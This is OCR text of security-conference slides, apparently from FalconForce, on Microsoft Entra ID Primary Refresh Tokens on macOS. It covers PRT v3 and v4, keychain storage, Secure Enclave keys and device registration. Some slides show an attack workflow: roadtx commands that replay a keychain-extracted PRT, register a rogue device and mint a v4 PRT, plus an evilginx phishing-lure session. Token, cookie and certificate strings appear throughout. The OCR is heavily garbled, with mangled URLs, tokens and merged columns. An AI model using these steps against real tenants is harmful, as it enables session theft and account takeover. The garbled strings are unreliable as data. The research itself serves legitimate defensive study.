/.. appmetadata-d7b530a4-7680-4c23-aBbf-c52c121d2e87
/. refreshtoken-1-- application password Yesterday, 0518 -
/.. cpp-general-app-metadata-additional-fields application password Yesterday, 0518
/. appmetadata-OecB93e0-5786-4de6-29da-4ed124e5296c application password Yesterday, 05:1F
/., accesstoken-ecd6b820-32c2-49b6-98a6-444530e5a7 7a-a92a4 2cd-bfBe-46ba-aade-64.. tivity. microsoft.comf.default https:ffactivity.microsoft.comfusersattings.readwrite.createdbyapp application password  Yesterday ~
/. accesstoken-ecdGb820-32c2-49b6-98a6-444530eba77a-ad2ad42cd-bfBc-46ba-aade-64....api.applicationfintune.mam.registrations.write.all https:[fmsmamservice.api.application/.default application password Yester
., accesstoken-ecdE6b820-32c2-49b6-98a6-444530e5a77a-a92a4 2cd-bfBc-46ba-aade-64...osoft.com/.default https:/fedgesync.microsoft.comfusersettings.readwrite.createdbyapp.secure  application password  Yer
/. accesstoken-ecd6b820-32c2-49b6-98a6-444530eba/7a-a02a42cd-bf8c-46ba-aad e-64cbcBa030d9-https:/faadrm.comfuser_impersonation https:/faadrm.com/.dafault application password
L ] - '
. ®




PRT protocol version 3.0

PRTs from the keychain can be used with roadtx — either using PRT protocol v3 or with the Windows PRT protocol

)

(ROADtools) X roadtx prtauth --pr K |
NQ.AgABAWEAAADNfolhIpSNRYB1SVj-Hgd8AgDs wUA9P_CNGZBXwm1yMF S
rQ792fwiryl gqRgdX2RJ-rQYQcVClAkIbbb26PHE6r3CXIdcfbxGjhy7yPn
MnVimsrwm_IZJZoaMQBxweecQG5Lj53ghArhFi2jz1lwHazc3s9bmtshOiHR
NTCWiESNnEGW1BqMv39cRKLpjFRfmXWADFNh1xuT2XXV94GnPnrKf8HTYggd
XBFT75vaGN1Mno5I8w4q07w_1A1STQkoQmgKILSER18L7Uyt04GRbbS5Ie- §
kFngSKyzn9zZ19SFOAhmOhdAF72rzedhcc1ZriWzIAFXLGm3wW11Z1N@elLgB

pvjsjWRpkKSvi3Kp1STflhvXPLR7o0WS7D7FUNDSreQrtgaixcqFXRBemvxOr
sXwpF1fEIcfXrR3Wzg3c -v3 -s https://graph.microsoft.com/.de

Tokens were written to .roadtools auth




What about PRT v4?

Intune has recently added support This allows storage of the key
for the Apple platform SSO material in the Secure Enclave,
module. Apples TPM like implementation




PRT protocol version 4.0

The Microsoft Enterprise SSO plug-in in Microsoft Entra ID includes two SSO features - Platform SSO and the SSO app

extension. This article focuses on configuring Platform SSO with Entra ID for macOS devices which is in preview.
Some benefits of Platform SSO include:

¢ Includes the SSO app extension. You don't configure the SSO app extension separately.
e Go passwordless with phishing-resistant credentials that are hardware-bound to the Mac device.
e The sign in experience is similar to signing into a Windows device with a work or school account, like users do with

Windows Hello for Business.

e Helps minimize the number of times users need to enter their Microsoft Entra ID credentials.
e Helps reduce the number of passwords users need to remember.
e Get the benefits of Microsoft Entra join, which allows any organization user to sign into the device.

¢ Included with all Microsoft Intune licensing plans.




Apple Secure Enclave

NAND flash storage DRAM

The Secure Enclave is a dedicated secure subsystem integrated into Apple
i systems on chip (SoCs).

Memory controller

t The Secure Enclave is isolated from the main processor to provide an extra layer
NAND flash contraller B8 > of security and is designed to keep sensitive user data secure even when the
Application Processor 3 Application Processor kernel becomes compromised.
AES engine L >
A
i https://support.apple.com/en-hk/guide/security/sec59b0b31ff/web
< ; >
TRNG
Secure Enclave v

AES Engine

Memory Protection

Secure Enclave +—> .
Engine

Processor

PKA

Secure Enclave

System on chip

Secure Non-Volatile Storage




RT protocol version 4.0

Platform SSO

Authentication Method

Home > FalconForce Ballpit | Devices > Devices Enable VOUI" Entra ID paSSkey

= Devices | All devices :
iy | To use your Entra ID passkey, you must enable Company Portal as a Passkey Provider.

2 Comlirdatos (O [Eic To complete this action, open the System Settings app and navigate to:
D Overview Passwords > Password Options > Use passwords and passkeys from... > Enable Company Portal

O olaftesting
Al devices

1 device found
\EREL[

£33 Device settings Name 1l < passwo rd Optlons bmpliant Registered 1! Activity 1l
€§C§s’ Enterprise State Roaming
q olaftesting's Virtual Mac N MR

& bl bes (e AutoFill Passwords and Passkeys [ @

p Local administrator
password recovery

Activity

Troubleshooting + Support

Use passwords and passkeys from

A

Keychain

B Company Portal . @

Open System Settings




Device registration - SecureEnclave

'}aHJji5n7GC9szBWOeMJj5bSe9ny_Mm43onlV4uUrjSIijDtUrzlgdKithugEdddyUPw_lfquVFSiHUkw
11 Accept-Encoding: gzip, deflate, br
12 Connection: keep-alive

13

14 |

15 "AikCertificate":"",

16 "AttestationData":"",

17 "CertificateRequest":{

18 "Data":
"MIIBADCBpAIBADAhRMR8wWHQYDVQQDDBZNeSBjZXJ0aWZpY2F0ZSByZXF1ZXNOMFkwEwYHK0ZIzj@CAQYIKoZIzj@DAQcDQQAER]j43Dw78kb295bD7C\ /aMhDkInkyv
aEsDRTx8hzqgbqofDy2ypMkMKkHNQc4vhv+G+jwPr\/BhrtX20PxnKpXqjglyqAhMB8GCSqGSIb3DQEJIDjESMBAwWDgYDVROPAQH\ /BAQDAgeAMAWGCCqGSM49BAMCBQ

- 4 /8dv8bx3TrNWy@h7FkP1AtZAiEAsg06MgbyBG7sayals71TDinKgUJLOaCWvkaCoFi67P8=",

19

20 "KeyType":"ECC",

21 "Type":"pkcs10"

22 o

23 "DeviceDisplayName":"olaftesting’s Virtual Machine",

24 "DeviceKeys": [

25 {

26 "Data":

"\N"kty\" s \"EC\",\"crv\":\"P-256\",\"x\":\"yLWFbQSBa5IG2hv4HiHM7YUc4wpiaWk@fTHHrxV4fgQ\",R"y\" :\"md0Yz_mYxJ5N3A
1SptIk5eaux5FK9ko\" ,\"kid\":\"821E2411-4EC0-4BE2-A857-56326312D6OF\"}",

"Encoding":"JWK",
IITypeII : [ 1] Eccll ,
"Usage":"STK"

by
1,
"DeviceType":"Mac0S",
"JoinType":"0",
"OSVersion":"14.5.0",
"TargetDomain":"falconforce.io"




ion - SecureEnclave

Device registrat

Response Output B0 ®::
Pre_tty Raw Hex Render Version: 3 (0x02)
1 HTTP/1.1 200 OK Serial number: 178295414516010010405444944688283170511 (0x862272a1783d248a4d62554e1744b6cf)
2 Content-Type: application/json Algorithm ID: SHA256withRSA
3 client-request-id: ©548399C-C6FA-4025-8CFF-C15704092D4F Validity
4 request—id: 0548399c-c6fa—-4025-8cff-c15704092d4f Not Before: 29/05/2024 08:59:59 (dd—mm—yyyy hh:mm:ss) (240529085959Z7)
5 Strict-Transport-Security: max—-age=31536000; includeSubDomains Isgzzrﬁter' 29/05/2034 9:29:59 (dd-mm-yyyy hh:mm:ss) (3405290929597)
6 X-Content-Type-Options: nosniff DC = net
7 Date: Wed, 29 May 2024 09:30:00 GMT Subject
g Content-Length: 1406 (N = c073581d-98d1-4f11-9d79-aae018f9d8be
9 Public Key
10 { Algorithm: EC
"Certificate":{ Curve Name: secp256rl
"Thumbprint":"F371FE631E85CBBECADC647A6EQ9AF386253038C", Length: 256 bits
"RawBody" : pub: 04:46:3e:37:0f:0e:fc:91:
"MIIDNZzCCAh+gAwIBAGIQhiJyoXg9JIpNY1VOF@S2zzANBgkghkiGOw@BAQsFADBAMXYWEQYKCZINiZPyLG( Shisgiobideiabiai1: 0
HQYDVQQDEXZNUy1Pcmdhbm16YXRpb24tQWNj ZXNzMCsGALUECXMKODIKYmF j YTQtM2U4MS@ONMNALT LjNzM:! £0:3e:bf:c1:86:bb:57:dB:
TMOMDUYOTA5M]j k10VowLzEtMCsGAIUEAXMKY zA3MzU4MWQtOThkMS@OZFEXLT LkNzktYWF IMDE4Zj 1kOGJ Ul ca
78kb295bD7C/aMhDkInkvaEsDRTx8hzgbqofDy2ypMKMKHNQc4vhv+G+jwPr/BhrtX20PxnKpXqjglyqOB@I certificate Signature
GCCsGAQUFBWMCMA4GA1UdDWEB/wWwQEAWIHgDAiBgsqhkiG9xQBBYICAgQTBIEQHVhzwNGYEU+deargGPnYvj/ Algorithm: SHA256wWithRSA
FuuCUzAiBgsqhkiG9xQBBYIcBQQTBIEQzUIqqYy/ukaqTmTLyeAw2TAUBgsqhkiG9xQBBYIcCAQFBIECRVU\ Signature: 58:¢f:67:21:59:7¢:98:01:
QELBQADgQEBAFjPZyFZflgBqnlk7/ndKfm78FqitXiFf4pGRRpEfkxwlFz1Bemckiou/zR7H4DjqjWctMCOl bb:f@:5a:a2:b5:78:85:71:
KrbrBtUq@E3dB9Z2mcI4Rz9Bm75fIwRbeIhguzMcxLApcb1KvdiWL6QQ8huch731mR5PtvclqCt 1I7hkX6SI SOOI
1Jm/ rqtUsX//1LkzU9cPo1Im7kh/8hlymphpQXoUrYwiBPnzQ7uP@hIh64 1qAAFCMZzFbhy fQf2yWAH741+ii PoCIbCTibT A edi ot
ab:68:c5:35:d8:8d:07:84:
}'l fe:35:60:da:42:ab:6e:b0:
"User":{ 69:9c:27:84:73: f4:19:bb:
"Upn":"olaftesting@falconforce.io" b3:31:cc:4b:02:97:1b:d4:
}, b9:c8:7b:de:59:91:e4: fb:
"MembershipChanges": [ 45:fa:4a:1le:6e:b5:7b:ec:
{ 5b:63:d3:86:c0:bd:7d:c0O:
"LocalSID":“5—1—5—32—544“, 2f:b3:b5:26:6f:eb:aa:d5:
"AddSIDS" : [ c3:e8:d4:99:bb:92:1f: fc:

" " 2b:63:08:81:3e:7c:d0:ee:
S-1-12-1-2094076133-1243110406-4180208532-2064801707", 00:50:8c:cc:56:el:c9: fa:

"S-1-12-1-3768574861-1163928533-4156412604-1227689547" 26 b+ 64 (22 ad: 181 21




Device registration - cryptographic keys

On Mac OS (PRT v3)

Device certificate (Entra signed) + private key (RSA key)
Transport key (RSA key) — sent as JWK

On Mac OS (PRT v4)

Device certificate (Entra signed) + private key (ECC key)
Secure Enclave based key (ECC key) — sent as JWK




PRT request and broker mechanics - PRT v4

Authentication material
(PRTv3 based refresh token)

Device key signed payload
(ECDSA)
+ ECDH-ES initialization

Entra ID

ECDH-ES encrypted PRT

ECDH-ES encrypted token

Device key signed payload
with PRT + ECDH-ES
initialization

response




PRT request - PRT v4

—

354  https://login.microsoftonline.com POST  /common/oauth2/v2.0/token

Request
Pretty =~ Raw  Hex N \n =

1 POST /common/oauth2/v2.0/token HTTP/1.1

2 Host: login.microsoftonline.com

3 Cookie: fpc=Av2qL5ZEgpJLulsiladLAjL1-K9EAQAAAE4Q6dB0AAAA; x-ms—gateway-slice=estsfd;
stsservicecookie=estsfd; CCState=RWhJS@OVNSzduVjdsblJORG1VcHc40WIrUHIOPQ==; ESTSAUTHPERSISTENT=
0.AVBAzUIqqYy_ukaqTmTLyeAw2Zjt2S1ppDZFreL5gbwdYF5fANQ.AgABFwQAAADNTolhlpSnRYB1SVj-Hgd8AgDs_wUA9P9
Vg3yP@aeTcKUyfjLXyv594SaDQMG5w9IvNacHjzxrY_mZxvIwbqg_pYi@ldd_rkyP3Y@upL@Xqgb50cGhHeKZpchc2kI8dvFMEG
Ovz-Hg7fb_rdw9XdLcMVAoFigRnQdtx0G4adc-zF2Rdc8walL0A9ccHfCNuNxzarVP1ZBYWoTwdPtwp2XCwtLSxRdgLyHvXLWR

JEsTogDCDOA; buid=
0.AVB8AzUIqqYy_ukaqTmTLyeAw2Zjt2S1ppDZFrelL5gbwdYF5fANQ.AQABGgEAAADNTolhlpSnRYB1SV]j-Hgd8NzUBh9FW7@c
C9t IxBTNnfMZ_ARHEHEUe3yhqje_qgmlWg2t0jQjNedkToquxCXtLCmwIPDN6-PxAIeo]jEBPUKTZUH4XEEOT5X8iWPC2zCXNiX
s—03H02VXBW020DUzj9gMX28iUwYFtNaeTjzdokldQaluB@fI7—qzmL1L78eUVsgAA; wlidperf=
FR=L&ST=1716975339682; brcap=0; MicrosoftApplicationsTelemetryDeviceld=
6dc87el13-8af0-47c0-b70a-ed4e3237d8b30; MSFPC=
GUID=3c004e6db9214584a9bac3360908f932&HASH=3c00&LV=202405&V=4&LU=1716974984395

4 Content-Type: application/x-www-form-urlencoded

5 X-Client-Sku: MSAL.0SX

6 Accept: application/json

7 X-Client-0s: 14.5.0

8 X-Client-Cpu: 64

9 Accept-Language: en-GB,en;q=0.9

19 Accept-Encoding: gzip, deflate, br

11 X-Ms—Pkeyauth+: 1.0

12 Content-Length: 3478

13 User-Agent: Mac%205S0%20Extension/53.2404695.002 CFNetwork/1496.0.7 Darwin/23.5.0

14 X-Client-Ver: 1.2.22

15 Connection: keep-alive

17 prt_protocol_version=4.0&client_info=1&request=
eyJhbGci0iJFUzIINiIsInR5cCIBIKkpXVCIsInglYyIeWyINSULETnpDQOFoK2dBdO1CQWdIJUWLXUVKkrcVd@ajZeQopzbmv4y
1dRZURBTkJIna3Foa2 LHOXcwQkFRcOZBREIOTVhZdoVRWUtDWk1taVpQeUxHUUJHULLEYm1IWME1CVUdDZ21TSm9tVDhpeGtBUm
tXQjNkcGItUnZkM@13SFFZRFZRUURFeFpOVXkxUGNtZGhibWw2WVhScGIyNHRRV@A5qW1lh0ek1Dc@dBMVVFQ3hNa@9ESmtZbUZ
qWVRRAE@YVTRNUzAwTm10aExUbGp0ek1@TURrMU1HTXhaVOZgWVRrMO1CNFhEVEKwTURVeU9UQTVNRFUWTUZVWERUTTBNRFV5
T1RBNU16VTBNRM93THpFdE1Dc@dBMVVFQXhNa@1lqVTVOVEF5WkRNdFpHWmpPUzAWWMINeExUZ310V1VOTXpFMELESm1OR1J0T
VRZM@1Ga3dFd11I529aSXpgMENBUV13S29aSXpgMERBUWNEUWdBRVIQNDNEdzc4a2Iy0TViRDADXCO9hTWhEa@lua3ZhRXNEU1
R40Gh6cWIxb2ZEeTI5CcELrTWtITLFjNHZoditHK2p3UHIcL@JocnRYMk9QeG5LcFhxamdseXFPQjBEQ@J6VEFNQmdOVKhSTUJ
BZjhFQWpBQU1CWUdBMVVKS1FFQlwvd1FNTUFVRONDc@dBUVVGQndNQ@1BNEdBMVVKRHAFQlwvd1FFQXdJSGAEQWLCZ3NxaGtp




PRT request and broker mechanics - PRT v

Version: 3 (0x02)

DeCOded EDIT THE PAYLOAD AND SECRET Serial number: 182623971744532922801731463376015822968 (0x896418faa5ad8fab4226c9dec5¢c59078)
Algorithm ID: SHA256withRSA
validity
HEADER: ALGORITHM & TOKEN TYPE Not Before: 29/05/2024 09:05:40 (dd-mm-yyyy hh:mm:ss) (240529090540Z)
Not After: 29/05/2034 09:35:40 (dd-mm-yyyy hh:mm:ss) (340529093540Z)
Issuer
n L LI n n Dc = net
alg": "ES256", S
yp Wi, ON = 259502d3-dfc9-4fc1-825e-31402b4dal67
I'IXSCII . [ Public KEY
Algorithm: EC
" . . 3 Curve Name: secp256rl
MIIDNzCCAh+gAwIBAgIQiWQY+gWtj6tCJsnexcWQeDANBgkghkiGOw e 256 bits
OBAQsFADB4MXYWEQYKCZImiZPyLGQBGRYDbmVOMBUGCgmSJomT8ixkA pub: 04:46:3e:37:0f:0e:fc:91:bd:bd:e5:b0: fb:@b: f6:8c:
RkWB3dpbmRvd3MwHQYDVQQDEXZNUy1Pcmdhbml6YXRpb24tQWNjZXNz 84:39:08:9e:4b:da:12:cP:d1:4f:1f:21:ce:ab:ea:al:
MCsGATUECXMkODJKYmF jYTQtM2U4MSOONMNhLT1jNzMtMDk 1TMGMxZWF 3 bR EE B AL B e S e E S P
. f@:3e:bf:c1:86:bb:57:d8:e3:11:9c:aa:57:aa:38:25:
jYTk3MB4XDTIOMDUyOTASMDUBMFoXDTMBMDUyOTASMzUBMFowLzEtMC ca
SGATUEAXMKMjUSNTAYZDMtZGZ jOSO0ZmMXLTgyNWUtMzEGMDJiNGRhM Certificate Signature
TY3MFKkwEWYHK0ZIzjBCAQYIKoZIzjODAQcDQQAER]j43Dw78kb295bD7 Algorithm: SHA256withRSA
C/aMthInkvaESDRTXBthbq0ny2prkMkHNQC4VhV+G+JWPr/Bhrt Slgnature: 42:3e:0a:c2:3b:fc:c2:85:5e:¢c9:47:d8:9d:eb:18:9b:
. £8EA1AAMBYGA1UdJQEB/ 5b:b3:9d:6d:5b:5a:6a:ee:c4:23:a5:d1:74:e7:3d:8a:
X20PxnKpXqjglyqOBODCBzTAMBgNVHRMBA ] QEB/wW bd:c4:78:cc:9f:56:9f:db:35:9f:c4:82:a4:3c:08:bd:
QMMAoGCCsGAQUFBWMCMA4GA1UdDwWEB /wQEAwWIHgDA1BgsqhkiG9xQBB 36:13:81:de:a2:e2:fl:ae:13:9a:53:8e:cf:05:6e:be:
YIcAgQTBIEQOwWKVJcnfwU+CXjFAKB2hZzAiBgsqhkiG9xQBBYIcAwQT f9:1d:3a:e2:18:4f:1b:9b:6e:b6:5a:2a:e€9:b9:80:d5:
BIEQSAWN/soZJEaGB4/gFuuCUzAiBgsqhkiG9xQBBYIcBQQTBIEQzUI 9e:0b:5e:94:20:9b:5d:a4:7c:3c:ce:fd:9%9a:7d:10:el:
. 23:a0:43:37:cc:0d:bb:10:21:72:e0:72:d2:66:db:de:
qqYy/ukaqTmTLyeAw2TAUBgsqhkiG9xQBBYIcCAQFBIECRVUWEWYLKo 8:36:37:b1:6c:5d:€9:28:5c:db:46:c0:1a:27:2:04:
ZIhvcUAQWCHACEBASBATEWDQYJKoZIhvcNAQELBQADggEBAEI+CsI7/ 52:ec:6f:b2:3c:8e:05:85:33:15:d0:41:19:c1:3f:5e:
MKFXs1H2J3rGJtbs51tW1pq7sQjpdF85z2KvcR4zJOWN9s1n8SCpDwI 17:fb:c3:59:0b:df:34:c6:af:19:59:54:17:29:66:0e:
vTYTgd6i4vGuES5pTjs8Fbr75HTriGE8bm262WirpuYDVngtelCCbXaR e
. 9d:23:b7:d6:c5:ab:d6:e8:91:4a:19:2¢c:83:55:4e:79:
8PM79mn0Q4S0gQzfMDbsQIXLgctJm297INjexbF3pKFzbRsAaJ/IEUu 26:F2: f8: fa:c8:35:07:dd:3c: fe:57:66:52:55:6d: 11
xvsjyOBYUzFdBBGcE /Xhf7w1kL3zTGrx1ZVPcpZg53U6h465k9unPjt 1d:4b:4c:00:03:b5:€0:eb:78:9f:b4:61:3d:e€9:49:20:
ysjYStEnS031sWriuiRShksg1VOeaby+PrINQfdPP5XZ1JVbREASOWA 34:9f:66:2b:92:9b:d5:27:75:9e: f1:d5:d3:85:62:9d:
A7Xg631iftGE96UkgNJIMK5Kb1Sd1nvHVO4VinYq9HhYawWit2L Xup7/ S b e OB B LG BRI E T A
Q71g=" Extensions
] basicConstraints CRITICAL:
} {

extKeyUsage CRITICAL:
clientAuth




Token request - PRT v4

Response

Pretty Raw Hex Render =4 \n = DeCOded EDIT THE PAYLOAD AND SECRET

1 HTTP/1.1 200 OK

2 Cache-Control: no-store, no-cache

3 Pragma: no-cache HEADER: ALGORITHM & TOKEN TYPE

4 Content-Type: application/jose; charset=utf-8

5 Expires: -1

6 Strict-Transport-Security: max-age=31536000; includeSubDomains {

7 X-Content-Type-Options: nosniff " W "

g P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" ene - A256(_3CM '

9 x-ms-request-id: 04ba6109-aacf-40f4-936d-f76ae56caad0 "kid": "session",
10 X-ms—-ests-server: 2.1.18105.6 - SEC ProdSlices "tvp" : "JWT"
11 x-ms-clitelem: 1,0,0,295.2846, — x
12 X-ms—-srs: 1.P : "AAAAAOFBRAAAAEEEABV1teJgKTs-
13 X-XSS-Protection: @ gqACBvpPEAF11DsNzIAbBQ_-
14 Set-Cookie: fpc=Av2qL5ZEgpJLulsiladLAjL1-K9EAQAAAE4Q6d00AAAAZ4036AEAAABPEONdDgAAAA; expires=Fri, —_— "

28-Jun-2024 12:02:23 GMT; path=/; secure; HttpOnly; SameSite=None xu?BNW%N8G1UJBXquHf1NxP97AMtR1_atan]aJZSOsaEQngw !
15 Set-Cookie: x-ms—gateway-slice=estsfd; path=/; secure; samesite=none; httponly epk . {
16 Date: Wed, 29 May 2024 12:02:23 GMT "erv": "P-256",
Content_l_en th: 4@51 n 1] n n

E 9 kty": "EC",
19 eyJ1bmMi0iJBMjU2RONNIiwia21kIjoic2Vzc21lvbiIsInR5cCI6IkpXVCIsImFwdSI6IKFBQUFBMEZCUKFBQUFFRUVBQ1ZsdG : "ABV1teJgKTs-gqACBvpPEAF11DsNzIAbBQ_-xue3NWY",

VKcUtUcylncUFDQnZwUEVBRjEXRHNOek 1BYkJRXy14dWUzTldaTjhHMVVKQLh3T3FIZjFOeFASNOFNdFIsX2FOYW5qYWoyU@9z
YUVRckZndyIsImVwayI6eyljcnYiOiJQLTIINiIsImt@eSI6IkVDIiwieCI6IKFCVmx@ZUpxS1RzLWdXxQUNCAnBQRUFGMTFEC®
56SUFiQlFfLXh1ZTNOV1kiLCJ5Ij0oiVGZCdFZDUVY4RHFoMz LUY1RfZXdETFVaZjJlyV3A0Mm85a2pyR2hFS3hZTSJ9LCIhbGci
0iJFQORILUVTING..aa7dNGrzuLAjtfXt.WuPvFtyaDVIVnRvZ_eSjr40vefTc-Z4pevYEqQrIiIpTh6Q2wz6glfBil0i3tNuuA : "ECDH-ES"
-VO7A9FXv5Ymef6t6Gm-k8zy8KGMHUg_shZTm@qf2YjrqfYIKkKOmISHr170RluD9pyul4UL1g5FVB2gYykF5a9Tw—OPrNSUVN1
ji@1fvWblgbgwfndOHVSA_07hG8eaHrmy3VgwNnf LPPV_wN303Ry_aHX1dTDFk7qXLGAcI-3TXz1wt8_LsBWv2qzbeX-_ndFEu
WVGFx2Nk0i_qWWZRxWpsko6P95z1NO49HXuz_wVDE69I7jjTwYurfBlgZKPVO6EQvDQeI64_bs3wx08kSEDp4nina2eyvn@OWIQ
b601H61isJ07CdcQv2WKg8ThO_gyHr6i2 IBkdulnXC7hk8nayiyumxuM8_92Sbs5VFCkuWAeKXy-yaChIgKclTxu7XMcuA6Ee44

"TfBtVCQV8Dqh39TcT_ewDLUZf2rWp4209kjrGhEKxYM"




Internet Engineering Task Force (IETF) M. Jones
Request for Comments: 7518 Microsoft
Category: Standards Track May 2015
——=* ISSN: 2070-1721

\I—\-I—n’ll I—q—l;

=N
(o))

This section defines the specifics of key agreement with Elliptic
Curve Diffie-Hellman Ephemeral Static [RFC6090], in combination with
the Concat KDF, as defined in Section 5.8.1 of [NIST.800-56A1. The

key agreement result can be used in one of two ways:

1. directly as the Content Encryption Key (CEK) for the "enc"
algorithm, in the Direct Key Agreement mode, or

2. as a symmetric key used to wrap the CEK with the "A128KW",
"A192KW", oxr "A256KW" algorithms, in the Key Agreement with Key
Wrapping mode.

A new ephemeral public key value MUST be generated for each key
agreement operation.

‘ https://datatracker.ietf.org/doc/html/rfc7518



PRT protocol version 4.0

All ltems | Passwords Secure Notes My Certificates Keys Certificates

® O @ primaryrefreshtoken-29d9ed98-a469-4536-ade2-f981bc1d605e--|NDRIOGNmMNjg2Yz...
primaryrefreshtoken-29d9ed98-a469-4536-ade2-f981bc1d

Local Items ind: icati | .
Kind: application password Attributes
Account: fe8d0548-19ca-4624-86d3-8fe016eb8253.a92a42cd-bf8c-46!
LA A Where: primaryrefreshtoken-29d9ed98-a469-4536-ade2-f981bc1d605e
Modified: Today, 05:02 Access for this item cannot be edited.

Access Control

Name ‘

idtoken-29d9ed98-a469-4536-ade2-f981bc1d605e-a92a42cd-bf8c-46ba-aade-64
a92a42cd-bf8c-46ba-aade-64cbc9e030d9

primaryrefreshtoken-29d3s o @ @ primaryrefreshtoken-29d9ed91‘: Hame
appmetadata-29d9ed98-a469-

refreshtoken-29d9ed98-a469-.
com.apple.cloudd.deviceldentifi

-

Access group for this item:

-

UBF8T346G9.com.microsoft.identity.ssoextension

-

.

Attributes !‘

.

com.apple.iAdIDRecords
accesstoken-29d9ed98-a469-4{ Name: primaryrefreshn‘
com.apple.iAdIDRecords

.

-

-

-

. CcO

com.apple.iAdIDRecords Account: fe8d0548-19ca-
com.apple.iAdIDRecords ‘

-

com.microsoft.Compa nyPortaI.r% Comments: ‘

) Where: primaryrefreshtc
com.apple.iAdIDRecords

-

-

com.microsoft.CompanyPortal.e

.

com.microsoft.Compa nyPortaI.e{

.

com.microsoft.CompanyPortal.e
a92a42cd-bf8c-46ba-aade-64| Show password: {"secret":"0.AV8AzUIqqYy_ukagTmTLyeAw2
appmetadata-9balabc7-f17a-4¢
refreshtoken—gba1ch7—f17a-4q
refreshtoken-1--

idtoken-9balabc7-f17a-4de9-al.

- - - . .

-




PRT protocol version 4.0

[ ) @ primaryrefreshtoken-29d9ed98-a469-4536-ade2-f981bc1d605e--|NDRIOGNmMNjg2Yz...

Attributes Access Control

{

"secret":

"external_key_type":
"device_id": g

“"prt_protocol_version": ,

"credential_type": ’

"environment": ;

"home_account_id": ,
"expires_on": -

""cached_at": .

"client_id": ,

"expires_in":

/.. a92ad2cd-bf8c-46ba-aade-64
__,f" appmetadata-9balabc7-f17a-4c

/.. refreshtoken-9bala5c7-f17a-4d

/ . refreshtoken-1--

e

/.. idtoken-9bala5¢7-f17a-4de9-al.
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Primary Refresh Tokens (PRT) e,

What does the PRT contain?
A PRT contains claims found in most Microsoft Entra ID refresh tokens. In addition, there are some device-specific claims

included in the PRT. They are as follows:

e Device ID: A PRT is issued to a user on a specific device. The device ID claim deviceID determines the device the

PRT was issued to the user on. This claim is later issued to tokens obtained via the PRT. The device ID claim is used

to determine authorization for Conditional Access based on device state or compliance.

e Session key: The session key is an encrypted symmetric key, generated by the Microsoft Entra authentication
service, issued as part of the PRT. The session key acts as the proof of possession when a PRT is used to obtain
tokens for other applications. Session key is rolled on Windows 10 or newer Microsoft Entra joined or Microsoft

Entra hybrid joined devices if it's older than 30 days.

* According to the Microsoft documentation

Maea




PRT protocol version comparison

prt_protocol version secret device id session_key Used by validity = encryption stored in keychain

RSA sign + %
AES CBC

RSA sign +
AES GCM

2.0 Windows 90d

3.0 — device bound Comp portal Mac 90d

B

: Edge and some RSA sign +
3.0 — deviceless v v
v L] X [ onboarding flows 2l AES GCM

% Platform SSO + ECDSA +

SecEncl 90d ECDH-ES

B

4.0

K

* Not abusable without access to the key material in Secure Enclave
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demo

Deviceless PRT
phishing to full PRT
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Demo - Deviceless PRT phishing




(7} Home [, W10-Pentest-Training [[] ADTS2019 ] ADTSC [, Work Dev 4 W11-HELLOTEST & W11-TEMP

NP L% Windows PowerShell

PS C:\Users\User\Desktop\tools\evilginx2> .

run.pat

C:\Users\User\Desktop\tools\evilginx2>.\build\evilginx.exe -p ./phishlets -t ./redirectors -developer
2J Imp

[17:55:59] [inf] Evilginx mMastery Course: https://academy.breakdev.org/evilginx-mastery (learn how to create phishlets)
[17:55:59] | |1 loading phishlets from: ./phishlets _
[17:55:59] [inT] loading configuration from: C:\Users\User\.evilginx
[17:55:59] [inf] blacklist: loaded O ip addresses and 0 ip masks
phishlet | status | visibility |  hostname
sabled | visible
enabled visible microsoftOnli...

: lures create microsoft365
[17:56:22] | ] created Ture with ID: 2
: lures get-url 2

v

M © Type here to search ‘ ) “» g | E - +8 < B o9, N 5:58 PM -

6/26/2024




Deviceless PRT to device and PRTv4H

X roadtx prtauth -v3 -s urn:ms-drs:enterpriseregistration.windows.net/.default

(ROADtools)

Tokens were written to .roadtools auth
(ROADtools) X roadtx device -a register -n troopers --device-type macosi14

Saving private key to troopers.key

Registering device

Device ID: fec30f31-e508-4dc9-8bd9-a896762b5805
Saved device certificate to troopers.pem




Deviceless PRT to device and PRTv4H

(ROADtools) X roadtx prt -c troopers.pem -k troopers.key -r file -v4

Obtained PRT: 0.AXQAj KHYn9PIkOWUahpfY_hv]jt2S1lppDZFrelL5gbwdYF71AGI.AgABAWEAAAAPpTWIMzXqdR4BN2miheQMYAgDs wUA9P ut_ 5UeF
KaFPzk4D7TeR_s1C2hcK7cpZGmk6VVWoz71-rdH2nqGzGIWxgH8eyeRhmOZ5PODEUbo10eufMhb1GtDfAPMeD8HocyscA7rujfYWV5CX9KxwdymUHNT6gX
XUS5dTyFZNp6-zH-Z02QPWFppNInnUisTBbaOfnZBF6S3cFYnfS7ylcmzq2UfShUfbY38V3AsIxd6syvxurr061HdwlozI6peoaAffH6seMYpglQC47jr4W
ANSAHBCiWDfL-SB9MxtowgPFdXozkPDkepIoDcdi1l0bGsGdawxiHeKMy8We-k22Y1R4HIehOqc4M5d DM2obAD-2hSxkRdcic2aSRbmhd4ocuTreARz j3V
qAQY3TvIW uyJqlAuz3nB oqV5LONIZEzCwTXOD5MA4Nz3aa5wq90oTdBwWNpRyY j8aUTDWZzHVEWZ2QmIAzQP57bBsqKR19T8aDnRLRB5pYzPK _AeEn61lcFs
SO0719s6TMYyPziullv4-Fevkpwf w9VLR-sbQgWgNEBDu7ua891-NQtxzmWrbKVgzfxNcOyCmviwcAgD9sDTDG _7NpOGwPdtuSF_-sep6pXb fiUKmpp8r

gPjORpb731PryLO01BDAIzdYnvNMu804ueEhmnezypF3Liomm9jquSYknxCyg8UM75EJIyAvv4EmYUpmKWGVvOIoHQaOFXgOpL2axC c9Vp40P71HDK-vnnB
uelKEAIZW 2-4m6qPArvTDBayuDOVj_ O5PP30XSUvr9giisné6nkZUiDDcS1QtVti2HajbsCO9kwIf-ztAemUwcBxnSJdhbVOuOEUlevQrot VThtG928 VL
Zwg6gbmeQPVAqIclwUKMbgKA1QGkohY40vNUcRaV1KFfXVgOgOPxtosgchHrXaPSdfCh1G4FD6joBoye1JKP3HG4FptUmb41qWMy - 5XNWFrGa225C6p0cw
TCIDC251TMiwHh1nBR- -vE96A1ldyABObgavzWhXF8ZrrDYJcFWxXFCy-fL-Rc7PZCUSqvZHMtBcALYB8769VWWtEzZDVXEbXx8R3QSbI5beGXpzcMeRNoo1AQ

